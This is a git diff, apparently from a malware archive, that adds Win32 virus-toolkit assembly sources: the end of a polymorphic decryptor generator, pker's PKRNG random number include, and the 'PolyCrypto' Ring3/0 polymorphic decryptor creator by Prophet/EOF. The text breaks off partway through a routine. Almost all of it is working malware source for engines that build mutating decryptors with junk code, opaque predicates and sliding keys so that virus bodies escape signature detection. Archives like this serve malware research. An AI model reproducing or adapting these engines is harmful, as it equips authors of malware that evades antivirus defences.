ecx,[ebp+len+12] ; ���������� ��������+ call garbage ; ����������++ mov al,8bh ; ���������� ����������:+ stosb ; mov reg2,reg1+ ;+ mov al,bl ; � ��� reg2 ����� �����+ shl al,3 ; �������������� ���+ add al,0c0h ; ���������+ add al,bh ;+ stosb++ mov ecx,[ebp+len+16] ; ���������� ��������+ call garbage ; ����������++ mov al,81h ;+ stosb ;+ mov al,0c0h ;+ add al,bl ;+ stosb ;+ ; ���������� ����������:+ mov eax,[ebp+sz_code] ; add reg2,size_code+ inc eax+ stosd ;++ mov ecx,[ebp+len+20] ; ���������� ��������+ call garbage ; ����������++ mov al,81h ;+ stosb ; ���������� ���������+ mov al,0c0h ; ����������: add reg1,4+ add al,bh ;+ stosb ;+ ;+ mov eax,4 ;+ stosd ;++ mov ecx,[ebp+len+24] ; ���������� ���������+ call garbage ; ������ ������++ call random32 ;+ mov [ebp+key2],eax ; ��������� ���� �����������++ lea eax,[ebp+next] ; ����� � ���� ��������+ push eax ; �� ����� next+ ; �������� ���� �� ���+ ; ��������� �����������+ mov eax,3 ; ��������� �������.+ call brandom32 ;+ ; ��������� ����������� �+ cmp al,1 ; �������������:+ je enc_add32 ;+ ; 1) XOR+ cmp al,2 ; 2) ADD+ je enc_sub32 ; 3) SUB+enc_xor32:++ mov al,81h ;+ stosb ; ���������� ����������:+ mov al,30h ; xor [reg1],key_decrypt+ add al,bh ;+ stosb ;+ mov eax,[ebp+key2]+ stosd++ push edi ;+ lea edi,[ebp+crypt_n] ;+ mov al,33h ; � � ����� ������ ��������+ stosb ; �������� �����������+ pop edi ;+ ret ; ������� �� ����� next+enc_add32:+ mov al,81h ;+ stosb ; ���������� ����������:+ mov al,bh ; add [reg1],key_decrypt+ stosb ;++ mov eax,[ebp+key2]+ stosd++ push edi ;+ lea edi,[ebp+crypt_n] ;+ mov al,2bh ; � � ����� ������ ��������+ stosb ; �������� �����������+ pop edi ;+ ret ; ������� �� ����� next++enc_sub32:+ mov al,81h ;+ stosb ; ���������� ���������+ mov al,028h ; ����������:+ add al,bh ; sub [reg1],key_decrypt+ stosb ;++ mov eax,[ebp+key2]+ stosd++ push edi ;+ lea edi,[ebp+crypt_n] ; � � ����� ������ ������+ mov al,03h ; �������� �����������+ stosb ;+ pop edi ;+ ret ; ������� �� ����� next+;------------------------------------------------------------------------------;+next:+ mov ecx,[ebp+len+28] ; ���������� ���������+ call garbage ; ������ ������++ mov al,3bh ;+ stosb ;+ ;+ xor eax,eax ;+ mov al,bh ; ���������� ����������:+ shl al,3 ; cmp reg1,reg2+ add al,0c0h ;+ add al,bl ;+ stosb ;+;------------------------------------------------------------------------------;+ mov ax,820fh ;+ stosw ;+ xor eax,eax ;+ dec eax ; ���������� ����������:+ mov ecx,7*4 ; jb decrypt+ sub eax,[ebp+len+ecx] ;+ mov ecx,6*4 ;+ sub eax,[ebp+len+ecx] ;+ sub eax,19 ;+ stosd ;++ mov ecx,[ebp+len+32] ; ���������� ��������+ call garbage ; ����������+;------------------------------------------------------------------------------;+ mov ecx,[ebp+sz_code] ;+ mov esi,[ebp+begin_code] ;+ add ecx,esi ;+encrypt: ;+ lodsd ; �������� ���� ��� ������+crypt_n: ; � ������ ����������+ xor eax,[ebp+key2] ;+ stosd ;+ cmp esi,ecx ;+ jl encrypt ;++ mov edx,[ebp+buff] ; ��������� ��������+ mov ecx,[ebp+sz_code] ; ������������+ add ecx,[ebp+sz_decr] ;++ pop ebx esi edi ebp ; �������������� ��������+ ret ; � ������� �� ���������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; GARBAGE LENGTH GENERATOR SUBROUTINE ;+;------------------------------------------------------------------------------;+; [ IN ] ;+; ;+; NO INPUT IN SUBROTINE ;+;------------------------------------------------------------------------------;+; [ OUT ] ;+; ;+; LENGTH OF ALL GARBAGE -> ECX ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+len_gen: ; ������������ ���������+ ; ���� ��� ��������+ ; ����������+ xor ecx,ecx ; �������� esi � ecx+ xor esi,esi ;+loop1: ;+ mov eax,100 ;+ call brandom32 ; �������� ���������+ ; ����, ������ �����+ mov [ebp+len+esi],eax ; ��������� 0..100+ add ecx,eax ;+ add esi,4 ;+ cmp esi,36 ;+ jne loop1 ;+ ret ; ������� �� ������������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; REGISTER MUTATOR SUBROUTINE ;+;------------------------------------------------------------------------------;+; [ IN ] ;+; ;+; NO INPUT IN SUBROTINE ;+;------------------------------------------------------------------------------;+; [ OUT ] ;+; ;+; USES REGISTER N1 -> BH (0..7) ;+; USES REGISTER N2 -> BL (0..7) ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+reg_mutate:+ ; ������������ ���������+generate1: ; ��������� ��� ����������++ mov eax,8 ; �������� ��������� �����+ call brandom32 ; � ��������� 0..7+ cmp al,00000100b ; ���������� ��� ��������+ je generate1 ; ����� esp+ cmp al,00000101b ; ���������� ��� ��������+ je generate1 ; ����� ebp+ mov bh,al ; ��������� ����������+ ; �������+generate2:+ mov eax,8 ; �������� ��������� �����+ call brandom32 ; � ��������� 0..7+ cmp al,bh ; �� ������ ���� ����+ je generate2 ; ���������� ���������+ cmp al,00000100b ; ���������� ��� ��������+ je generate2 ; ����� esp+ mov bl,al ; ��������� ����������+ ; �������+ ret ; ������� �� ������������+;------------------------------------------------------------------------------;+sz_decr dd 0 ;+begin_code dd 0 ; ������ ����������� ���+st_code dd 0 ; ���������� ������+sz_code dd 0 ; ����������+buff dd 0 ;+key2 dd 0 ;+;------------------------------------------------------------------------------;+ len dd 0,0,0,0,0,0,0,0,0 ; ����� ��� �������� ����+;------------------------------------------------------------------------------;diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Pkrng.inc b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Pkrng.incnew file mode 100644index 0000000..9c80351--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Pkrng.inc@@ -0,0 +1,222 @@+;+; pker's Random Number Generator (PKRNG)+; ======================================+;+;+; Description+; -----------+;+; PKRNG is a random number generator. It can be used for MASM, TASM, FASM, etc. It+; containz four procedurez: __randomize, __random and __m_seq_gen and+; __random_rdtsc. __randomize procedure is for generating initial seed in the seed+; field, which specified as parameter. The __m_seq_gen procedure is used to+; generate m-sequence, which used by __random, which generate random numberz+; finally. __random_rdtsc is the simplest one, it just get the RDTSC and divide it+; by the range given as parameter.+;+;+; How to use PKRNG+; ----------------+;+; When using MASM or TASM to initialize seed field:+;+; mov edi,offset dwSeed+; call __randomize+;+; The get a random number in eax:+;+; mov eax,offset dwSeed+; mov ecx,32 ; get a random number between 0~31+; call __random+;+;+; Same thing happened with FASM:+;+; mov edi,dwSeed+; call __randomize+;+; mov eax,dwSeed+; mov ecx,32 ; get a random number between 0~31+; call __random+;+;+; Copyright+; ---------+;+; (c) 2004. No rightz reserved. Use without permission :P.+;+++;+; __randomize procedure+; =====================+;+;+; Description+; -----------+;+; This function use RDTSC instruction to generator a random number in order to+; initialize the seed field.+;+;+; Parameterz and Return Values+; ----------------------------+;+; input:+; edi --- points to the seed field+; output:+; nothing+;++__randomize: pushad+ db 0fh,31h ; RDTSC+ add eax,edx ; ...+ stosd ; fill in the seed buffer+ popad+ ret+++;+; __random procedure+; ==================+;+;+; Description+; -----------+;+; This function generates a random number and rewrite the seed field. The function+; first get a 32 bit m-sequence, which then multiply with the previous seed, with+; __m_seq_gen procedure. And then, it calls __m_seq_gen again to generate another+; m-sequence to make noise by adding on the DWORD calculated before. Also, this+; result is the new seed, and will be write to the seed field which pointed by EAX+; as argument. Finally, the seed is divided by ECX, and return the modulus, which+; is the expected random number.+;+;+; Parameterz and Return Values+; ----------------------------+;+; input:+; eax --- pointz to the random seed field+; edx --- the range of the random number to be generated+; output:+; eax --- random number as result+;++__random: pushad+ xchg ecx,edx+ mov edi,eax+ mov esi,eax+ lodsd ; get the previous seed value+ mov ebx,eax+ mov ebp,ebx+ call __m_seq_gen ; generate a m-sequence+ imul ebp ; multiply with the previous seed+ xchg ebx,eax+ call __m_seq_gen ; generate anothe m-sequence+ add eax,ebx ; to make noise...+ add eax,92151fech ; and some noisez...+ stosd ; write new seed value+ xor edx,edx+ div ecx ; calculate the random number+ mov [esp+28],edx ; according to a specified range+ popad+ ret+++;+; __m_seq_gen procedure+; =====================+;+;+; Description+; -----------+;+; This function use a PN (Pseudo Noise) generator to generate m-sequencez. The+; configuration of the generator shows below (figure 1):+;+; (module 2 addition)+; ___+; / \+; +---------- | + | <------------------------------++; | \___/ |+; | A |+; | +-----+ | +-----+ +-----+ |+; +--> | D31 | -+-> | D30 | ---> ... ---> | D01 | -+-> output+; +-----+ +-----+ +-----++; A A A+; | | |+; CLK ---------------+------------+---------------------++;+; figure 1. m-Sequence Generator+;+;+; Parameterz and Return Values+; ----------------------------+;+; input:+; eax --- a non-zero random number, which could be generated by RDTSC or+; GetTickCount or such functionz+; output:+; eax --- the result of the function+;++__m_seq_gen: pushad+ xor esi,esi ; use to save the 32bit m-sequence+ push 32 ; loop 32 times (but it's not a+ pop ecx ; cycle in the m-sequence generator)+msg_next_bit: mov ebx,eax+ mov ebp,ebx+ xor edx,edx+ inc edx+ and ebp,edx ; get the lowest bit+ dec cl+ shl ebp,cl+ or esi,ebp ; output...+ inc cl+ and ebx,80000001h ; \+ ror bx,1 ; \+ mov edx,ebx ; \+ ror ebx,16 ; module 2 addition+ xor bx,dx ; /+ rcl ebx,17 ; /+ rcr eax,1 ; /+ loop msg_next_bit+ mov [esp+28],esi+ popad+ ret+++;+; __random_rdtsc procedure+; ========================+;+;+; Description+; -----------+;+; This is the simplest RNG in the packet. Well, nothing to explain :P+;+;+; Parameterz and Return Value+; ---------------------------+;+; input:+; ecx --- the range of the random number to be generated+;+; output:+; eax --- random number as result+;++__random_rdtsc: pushad+ db 0fh,31h+ add eax,edx+ xor edx,edx+ or ecx,ecx+ jz rnd_rdt_no_range+ div ecx+ xchg eax,edx+rnd_rdt_no_range:+ mov [esp+28],eax+ popad+ ret\ No newline at end of filediff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.PolyCrypto.inc b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.PolyCrypto.incnew file mode 100644index 0000000..76c0d30--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.PolyCrypto.inc@@ -0,0 +1,1807 @@+;---------------------------------------------------------------------------------------------------------;+; __ __ ___ __ ___ ;+; / )_ _ / /__)_ / _ _/ (_ / )(_ ;+; /(_/(// /( / / ()/)/)(- / /__(__/ / ;+; / ;+; ;+; __ ;+; /__)_ _ _ _ _/ ;+; / / (-_) (-/)/ ;+; ;+; ;+; _____ ___ ___ ;+; /\ __`\ /'___\ /'___\ __ ;+; \ \ \/\ \ /\ \__/ /\ \__/ __ ___ ____ /\_\ __ __ __ ;+; \ \ \ \ \\ \ ,__\\ \ ,__\ /'__`\ /' _ `\ /',__\\/\ \ /\ \/\ \ /'__`\ ;+; \ \ \_\ \\ \ \_/ \ \ \_//\ __/ /\ \/\ \ /\__, `\\ \ \\ \ \_/ |/\ __/ ;+; \ \_____\\ \_\ \ \_\ \ \____\\ \_\ \_\\/\____/ \ \_\\ \___/ \ \____\ ;+; \/_____/ \/_/ \/_/ \/____/ \/_/\/_/ \/___/ \/_/ \/__/ \/____/ ;+; ;+; ;+; ____ ___ ____ ___ ;+; /\ _`\ /\_ \ /\ _`\ __ /'___`\ ;+; \ \ \L\ \ ___\//\ \ __ __ \ \ \L\_\ ___ __ /\_\ ___ __ /\_\ /\ \ ;+; \ \ ,__// __`\\ \ \ /\ \/\ \ \ \ _\L /' _ `\ /'_ `\\/\ \ /' _ `\ /'__`\ \/_/// /__ ;+; \ \ \//\ \L\ \\_\ \_\ \ \_\ \ \ \ \L\ \/\ \/\ \ /\ \L\ \\ \ \ /\ \/\ \ /\ __/ // /_\ \ ;+; \ \_\\ \____//\____\\/`____ \ \ \____/\ \_\ \_\\ \____ \\ \_\\ \_\ \_\\ \____\ /\______/ ;+; \/_/ \/___/ \/____/ `/___/> \ \/___/ \/_/\/_/ \/___L\ \\/_/ \/_/\/_/ \/____/ \/_____/ ;+; /\___/ /\____/ ;+; \/__/ \_/__/ ;+; ;+; ;+; ;+;v0.8 (beta) public version ;+;---------------------------------------------------------------------------------------------------------;+; Ring3/0 Polymorphic Decryptor Creator+;+; Features+;+;Generates:+;+;Memory Read/Write+;Loops , Predicates+;Subroutines+;+;Realistic Garbage+;Position Independent+;Sliding Key+;+;This is not final version. Many improvements are planned. (Apis , PRIDE , SSE/FPU instructions)+;Watch eof-project.net or vx.netlux.org for new releases+;+;Prophet/EOF(24.8.2009)+;+poly_vars struct+ ; VARIABLES INITIALIZED BEFORE POLY CALL+ poly_ptr_code_base_va dd ? ; virtual-address of encrypted code+ poly_ptr_code_base_raw dd ? ; raw-address of encrypted code+ poly_ptr_decrypt_buf_va dd ? ; Va of buffer where code will be decrypted (0 if dont move code)+ poly_code_size dd ? ; size of code to crypt+ poly_code_entry_offset dd ? ; ep offset relative to code_base_va+ poly_decryptor_base dd ? ; ptr to buffer where decrytor will be created+ poly_decryptor_base_va dd ? ; virtual-address of decryptor base+ poly_decryptor_size dd ? ; size of created decryptor+ poly_options dd ? ; poly options+ poly_garbage_level dd ? ; level of garbage (1-lowest 3-average 5-huge)+ poly_read_mem_base dd ? ; va address of readable memory+ poly_read_mem_size dd ? ; size of readable memory++ ; VARIABLES USED DURING POLY ENGINE RUN+ poly_algo1 dd ? ; crypt algorythm+ poly_algo2 dd ? ; key-sliding algorythm+ poly_key dd ? ; encrypt key+ poly_slide_key dd ? ; slide key+ poly_ptr_reg dd ? ; register used as ptr to memory+ poly_key_reg dd ? ; register which is keeping decrypt key+ poly_loop_reg dd ? ; loop counter+ poly_store_reg dd ? ; used in move-data loop+ poly_junk_mem_reg dd ? ; junk mem accesses ptr reg+ poly_junk_mem_pos dd ? ; value to which reg was initialized+ poly_reg_usage dd ? ; watch register usage+ poly_random_seed dd ? ; random seed+ poly_garbler_flags dd ? ; keep garbler state+ poly_entry_offset dd ? ; offset of poly entry-point relative to poly base++ poly_subroutines_count dd ? ; number of poly subs generated+ poly_subroutines_table db 1024 DUP(0)+poly_vars ends++;+; Poly Options Flags+;++ POLY_OPT_POS_INDEPENDENT equ 1 ; use/dont use delta offset in decryptor+ POLY_OPT_STACK_WRITES equ 2 ; (not implemented)+ POLY_OPT_MEM_WRITES equ 4 ; ( buggy )+ POLY_OPT_USE_SUBROUTINES equ 8 ; generate junk subroutines+ POLY_OPT_MEM_ACC_DIRECT equ 16 ; do direct mem accesses (dont use if pe is reloc-able)+ POLY_OPT_MINIMAL_GARBAGE equ 32 ; generate minimal amount of garbage++;+; Poly configuration+;+; POLY_DEBUG equ 1 ; poly-debugging regime (comment out to disable)+; POLY_DISABLE_GARBAGE equ 1 ; disable garbage generator (comment out to enable)+ POLY_SUBROUTINES_MAX equ 5 ; max count of poly subroutines+ POLY_SUBR_PARAMS_MAX equ 6 ; max count of sub arguments+; POLY_ALIGN_SUBR equ 1 ; align subroutines to 0fh (comment out to disable)+ POLY_ALIGN_BYTE equ 0cch ; alignment byte+ POLY_ESP_ACC_RNG_MAX equ 10 ; max stack access displacement [esp +- random(max) * 4]+ POLY_LOOP_ITERATION_MAX equ 10000h ; max loop iterations+ POLY_LOOP_ITERATION_MIN equ 1000h ; min loop iterations++;+; Occurence of garbage+;+ POLY_OCCUR_LOOP equ 2+ POLY_OCCUR_PREDICATE equ 5+ POLY_OCCUR_PUSH_POP equ 7+ POLY_OCCUR_CALL equ 2+ POLY_OCCUR_API equ 0 ; not implemented+ POLY_OCCUR_IMM equ 5+ POLY_OCCUR_MODRM equ 12++ POLY_OCCUR_COUNT equ ( POLY_OCCUR_LOOP + POLY_OCCUR_PREDICATE + POLY_OCCUR_PUSH_POP + POLY_OCCUR_CALL + POLY_OCCUR_API + POLY_OCCUR_IMM + POLY_OCCUR_MODRM )++ POLY_MODRM_OCCUR_REG_REG equ 0+ POLY_MODRM_OCCUR_MEM equ 0+ POLY_MODRM_OCCUR_STACK equ 0++;+; Garbler state flags+;++ POLY_FLAG_IN_LOOP equ 1 ; in loop+ POLY_FLAG_IN_SUBR equ 2 ; in subroutine+ POLY_FLAG_IN_PRED equ 4 ; in predicate++ assume ebp:ptr poly_vars+.code+PolyEngineEntry: jmp PolyEngine++PolyGarbleInit: pushad++ ; check if subroutines flag is set+ mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_USE_SUBROUTINES+ test eax,eax+ jz Garble_Init_No_Sub++ ; create junk subroutines+ mov eax,POLY_SUBROUTINES_MAX+ call random+ test eax,eax+ jz PolyGarbleInitEnd++ mov ecx,eax++Garble_Init_Loop1: call Garble_Create_funct+ loop Garble_Init_Loop1++Garble_Init_No_Sub: mov dword ptr [esp],edi++PolyGarbleInitEnd: popad+ retn++;+; Garbage creator for use in poly engine+;+; ESP,EBP must be set as used before calling PolyGarbler++; ebp = ptr to poly struct+; edi = buffer+PolyGarble:+ifndef POLY_DISABLE_GARBAGE+ pushad++ mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_MINIMAL_GARBAGE+ test eax,eax+ jz PolyGarbleNormal++ mov ecx,1+ jmp PolyGarbleCont1++PolyGarbleNormal: mov ecx,dword ptr [ebp].poly_garbage_level ; deepness of recursivity+ imul ecx,3++PolyGarbleCont1: call Garble++ mov dword ptr [esp],edi+ popad+endif ;POLY_DISABLE_GARBAGE+ retn++;+; Recursive Garbler+;++Garble:+ mov eax,POLY_OCCUR_COUNT+ call random++ cmp eax,POLY_OCCUR_PUSH_POP+ jb G_Push_Pop+ sub eax,POLY_OCCUR_PUSH_POP++ cmp eax,POLY_OCCUR_PREDICATE+ jb G_Predicate+ sub eax,POLY_OCCUR_PREDICATE++ cmp eax,POLY_OCCUR_LOOP+ jb G_Loop+ sub eax,POLY_OCCUR_LOOP++ cmp eax,POLY_OCCUR_CALL+ jb G_Call+ sub eax,POLY_OCCUR_CALL++; cmp eax,POLY_OCCUR_MODRM++ cmp eax,POLY_OCCUR_IMM+ jb G_Imm+ sub eax,POLY_OCCUR_IMM++; cmp eax,POLY_OCCUR_API++ call Garble_Create_Modrm+ jmp Garble_cont++; loop+G_Loop: call Garble_Loop+ jmp Garble_cont++; opaque predicate+G_Predicate: call Garble_Predicate+ jmp Garble_cont++; push pop+G_Push_Pop: call Garble_Push_Pop+ jmp Garble_cont++G_Modrm: jmp Garble_cont++; immediate+G_Imm: call Garble_Create_Imm+ jmp Garble_cont+; call to junk proc+G_Call: call Garble_Sub_Call++Garble_cont: test ecx,ecx+ jz GarbleEnd+ dec ecx++ call Garble+GarbleEnd: retn++;+; Create Opaque predicate+;+Garble_Predicate: cmp ecx,4+ jbe Garble_Predict_End++ cmp ecx,10+ ja Garble_Predict_End ; just temporal solution to short-near problem++ call Is_In_Pred+ test eax,eax+ jnz Garble_Predict_End++ mov eax,8+ call random+ test eax,eax+ jnz Garble_Predict_Jcc++; JMP+ mov eax,0ebh+ stosb+ push edi++ jmp Garble_Predict_C+Garble_Predict_Jcc: call Garble_Create_Cmp++ mov eax,10h+ call random+ add eax,70h+ stosb+ push edi+ inc edi++Garble_Predict_C: call Set_In_Pred++ dec ecx+ call Garble ; recursive call+ pop ebx++ call Set_In_Pred++ mov eax,edi+ sub eax,ebx+ dec eax+ mov byte ptr [ebx],al++Garble_Predict_End: retn+++;+; Create push/pop+;+Garble_Push_Pop: cmp ecx,2+ jbe Garble_Push_Pop_End++ call Garble_Create_Push++ dec ecx+ call Garble ; recursive call++ call get_free_reg_32_no_set+ cmp eax,-1+ jne Garble_Push_Pop_c++ mov eax,0004c483h ; no free reg , create add esp,4+ stosd+ dec edi+ jmp Garble_Push_Pop_End++Garble_Push_Pop_c: add al,58h ; pop free reg+ stosb++Garble_Push_Pop_End: retn++;+; Generate Loop+;++Garble_Loop: call Is_In_Loop+ test eax,eax+ jnz Garble_Loop_End++ cmp ecx,5+ jbe Garble_Loop_End++ call get_free_reg_32+ cmp eax,-1+ je Garble_Loop_End++ call Set_In_Loop ; set that we are in loop++ mov ebx,eax+ mov eax,POLY_LOOP_ITERATION_MAX ; max number of loop iterations+ call random+ add eax,POLY_LOOP_ITERATION_MIN ; minimal iterations count+ push ecx+ mov ecx,eax++ ; initialize loop counter register+ call Asm_Mov_Reg_Imm_32+ pop ecx++ ; save loop start+ push edi+ ; save counter register+ push ebx++ dec ecx+ call Garble+ pop eax++ mov ebx,eax+ call unset_reg_32+ ; dec loop counter+ mov al,48h+ add al,bl+ stosb++ ; test counter reg+ mov al,085h+ stosb++ mov eax,ebx+ rol eax,3+ add eax,ebx+ add eax,0c0h+ stosb++ ; jcc loop+ pop eax+ sub eax,edi+ push eax+ not eax+ cmp eax,255 / 2+ pop eax+ jbe Garble_Loop_Short++ ; near jcc+ sub eax,6+ mov word ptr [edi],0850fh+ mov dword ptr [edi + 2],eax+ add edi,6++ jmp Garble_Loop_Cont+ ; short jcc+Garble_Loop_Short: sub eax,2+ mov byte ptr [edi],75h ; jnz+ mov byte ptr [edi + 1],al+ add edi,2++Garble_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state++Garble_Loop_End: retn++;+; Generate call to poly subroutine+;+Garble_Sub_Call: push ecx+ push ebx+ cmp dword ptr [ebp].poly_subroutines_count,0+ je Garble_Sub_Call_End++ call Is_In_Subr ; dont make subroutine call inside subroutine+ test eax,eax+ jnz Garble_Sub_Call_End++ ; pick random subroutine from table+ mov eax,dword ptr [ebp].poly_subroutines_count+ call random+ lea eax,[eax * 8]++ lea ebx,[ebp].poly_subroutines_table+ add ebx,eax++ ; if junk mem ptr is initialized store it before subroutine call+ cmp dword ptr [ebp].poly_junk_mem_pos,0+ je Garble_Sub_No_Save1++ mov ecx,dword ptr [ebp].poly_junk_mem_reg+ add ecx,50h+ mov byte ptr [edi],cl ; push ptr reg+ inc edi++Garble_Sub_No_Save1: mov ecx,dword ptr [ebx + 4] ; number of arguments+ test ecx,ecx+ jz Garble_Sub_No_Arg++ ; create fake argument passing+Garble_Sub_Arg: call Garble_Create_Push+ loop Garble_Sub_Arg++ ; create call to function+Garble_Sub_No_Arg: mov eax,dword ptr [ebx]+ sub eax,edi+ sub eax,5+ mov byte ptr [edi],0e8h+ inc edi+ stosd++ ; clean stack from arguments (__cdecl)+ mov eax,dword ptr [ebx + 4] ; number of function arguments+ test eax,eax+ jz Garble_Sub_No_Save2++ imul eax,4+ rol eax,16+ add eax,9000c483h+ stosd+ dec edi++ ; if junk mem ptr is initialized store it before subroutine call+Garble_Sub_No_Save2: cmp dword ptr [ebp].poly_junk_mem_pos,0+ je Garble_Sub_Call_End++ mov eax,dword ptr [ebp].poly_junk_mem_reg+ add eax,58h+ stosb ; pop ptr reg++Garble_Sub_Call_End: pop ebx+ pop ecx+ retn++;+; Generate Modrm Byte+;++Garble_Create_Modrm_Byte:+ push ebx++ call get_free_reg_32_no_set+ cmp eax,-1+ je Modrm_reg1_reg1 ; no free reg+ rol eax,3+ mov ebx,eax++ mov eax,5+ call random++ test eax,eax+ jz Modrm_Reg_Reg++ cmp eax,3+ jb Modrm_Stack_Read+;+; Mem Access+Modrm_Mem_Acc: mov eax,3 ; 1:2 to do direct mem32 access+ call random+ test eax,eax+ jz Modrm_Mem_Direct++ cmp dword ptr [ebp].poly_junk_mem_pos,0+ je Modrm_Mem_Direct ; junk mem ptr wasnt initialized , do direct mem32 acc anyway++Modrm_Mem_AccNoDisp: mov eax,dword ptr [ebp].poly_junk_mem_reg+ add eax,ebx+ stosb++ mov eax,dword ptr [ebp].poly_read_mem_size+ sub eax,4+ call random+ add eax,dword ptr [ebp].poly_read_mem_base++ mov ebx,eax+ sub ebx,dword ptr [ebp].poly_junk_mem_pos++ mov eax,6+ call random++ cmp eax,0+ je Modrm_Mem_Disp32++ cmp eax,4+ jb Modrm_Mem_Disp8++ pop ebx+ retn++Modrm_Mem_Disp8: add byte ptr [edi - 1],40h+ mov byte ptr [edi],bl+ inc edi++ pop ebx+ retn++Modrm_Mem_Disp32: add byte ptr [edi - 1],80h+ mov dword ptr [edi],ebx+ add edi,4++ pop ebx+ retn++;+; Direct memory access (mov reg,[mem32])+; only if poly is position independent+Modrm_Mem_Direct: mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_MEM_ACC_DIRECT+ test eax,eax+ jnz Modrm_Stack_Read++ cmp dword ptr [ebp].poly_read_mem_base,0+ je Modrm_Stack_Read++ mov eax,5+ add eax,ebx+ stosb++ mov eax,dword ptr [ebp].poly_read_mem_size+ call random+ add eax,dword ptr [ebp].poly_read_mem_base++ stosd++ jmp Modrm_End++;+; Stack Access ( reg,[esp/ebp +- x] )+Modrm_Stack_Read: mov eax,ebx+ add eax,45h+ mov byte ptr [edi],al++ mov eax,2+ call random+ test eax,eax+ jz Modrm_Stack_Ebp++ mov byte ptr [edi + 1],24h+ sub byte ptr [edi],1+ inc edi+Modrm_Stack_Ebp: inc edi++ mov eax,POLY_ESP_ACC_RNG_MAX+ call random+ imul eax,4++ mov ebx,eax+ mov eax,2 ; +/- disp+ call random+ test eax,eax+ jz Modrm_Stack_DispPos++ xor eax,eax+ sub eax,ebx+Modrm_Stack_DispPos: mov byte ptr [edi],al+ inc edi++ jmp Modrm_End++Modrm_Reg_Reg: call get_reg_32_no_stack+ add eax,ebx ; free reg+ add eax,0c0h+ stosb+ jmp Modrm_End++; in case when no reg is free to use+Modrm_reg1_reg1: call get_reg_32 ; mov eax/eax+ mov ah,al+ rol al,3+ add al,ah+ add al,0c0h+ stosb++Modrm_End: pop ebx+ retn++;+; Generate CMP/TEST+;+Garble_Create_Cmp: mov eax,4+ cmp eax,0+ je Garble_Cmp_Imm++ cmp eax,1+ je Garble_Cmp_Test++Garble_Cmp_Cmp: mov eax,2+ call random+ add eax,38h+ stosb+ call Garble_Create_Modrm_Byte+ retn++Garble_Cmp_Test: mov eax,2+ call random+ add eax,84h+ stosb+ call Garble_Create_Modrm_Byte+ retn++Garble_Cmp_Imm: push ebx+ push ecx++ mov eax,3+ call random+ mov ebx,eax+ add eax,81h+ stosb++ mov ecx,edi+ call Garble_Create_Modrm_Byte++ and byte ptr [ecx],11000111b+ add byte ptr [ecx],7 SHL 3++ mov eax,-1+ call random++ test ebx,ebx+ jnz Garble_Cmp_Imm8++ stosd+ jmp Garble_Cmp_ImmC++Garble_Cmp_Imm8: stosb++Garble_Cmp_ImmC: pop ecx+ pop ebx++ retn+++;+; Generate Push+;++Garble_Create_Push: mov eax,5+ call random+ cmp eax,2+ jbe Garble_Push_Reg32++ cmp eax,3+ je Garble_Push_Modrm++Garble_Push_Imm: mov eax,2+ call random+ push ebx+ mov ebx,eax+ rol eax,1+ add eax,68h+ stosb++ mov eax,-1+ call random++ test ebx,ebx+ pop ebx+ jnz Garble_Push_Imm8+ ;imm32+ stosd+ retn+Garble_Push_Imm8: stosb+ retn++Garble_Push_Reg32: call get_reg_32+ add al,50h+ stosb+ retn++Garble_Push_Modrm: mov al,0ffh+ stosb++ push edi+ call Garble_Create_Modrm_Byte+ pop eax++ and byte ptr [eax],11000111b+ add byte ptr [eax],6 SHL 3++ retn+;+; Generate Modrm instruction+;++;00 ADD+;08 OR+;20 AND+;28 SUB+;30 XOR+;88 MOV+Garble_Create_Modrm: ; 66h prefix ?+ mov eax,7+ call random+ test eax,eax+ jnz Garble_Modrm_No_66++ mov byte ptr [edi],66h ; WORD PTR+ inc edi++Garble_Modrm_No_66: call is_any_free_32 ; do we have any free reg ?+ test eax,eax+ jz Garble_ModrmNo_Regs++ push 08202828h+ push 30300000h+ push 88888888h+ mov ebx,esp+ mov eax,12+ call random+ mov al,byte ptr [ebx + eax]+ add al,3+ mov ebx,edi+ stosb+ add esp,12++ jmp @f++ ; create mov reg1,reg1 as no regs are free+Garble_ModrmNo_Regs: mov eax,89h+ stosb++@@: call Garble_Create_Modrm_Byte++ ; test if mem writes are allowed+ mov eax,dword ptr [ebp].poly_options+ and eax,POLY_OPT_MEM_WRITES+ test eax,eax+ jz Garble_Modrm_Read++ mov eax,2+ call random+ test eax,eax+ jnz Garble_Modrm_Read++ cmp byte ptr [ebx],8dh ; lea+ je Garble_Modrm_Read++ mov al,byte ptr [ebx + 1]+ and al,11000000b+ cmp al,0c0h ; mod reg/reg ?+ je Garble_Modrm_Read++ mov al,byte ptr [ebx + 1]+ and al,111b+ cmp al,100b ; sib+ je Garble_Modrm_Read++ cmp al,101b+ jne Garble_Modrm_Write++ mov al,byte ptr [ebx + 1]+ and al,11000000b+ test al,al+ jnz Garble_Modrm_Read+; do mem write now+Garble_Modrm_Write: xor byte ptr [ebx],2h++Garble_Modrm_Read: pop ebx+ retn++;+; Generate imm instruction+;++Garble_Create_Imm: push ebx+ call get_free_reg_32_no_set+ mov ebx,eax+ cmp eax,-1+ je Garble_Create_Imm_E++ mov eax,5+ call random+ test eax,eax+ jz Garble_Imm_Init_Ptr++ cmp eax,1+ jbe Garble_Imm_Inc_Dec++ mov eax,0b8h+ add eax,ebx+ stosb++ mov eax,-1+ call random+ stosd++ pop ebx+ retn++; c1 group+; 81 83 group+Garble_Imm_Groups: mov eax,4+ call random++ push 818383c1h+ 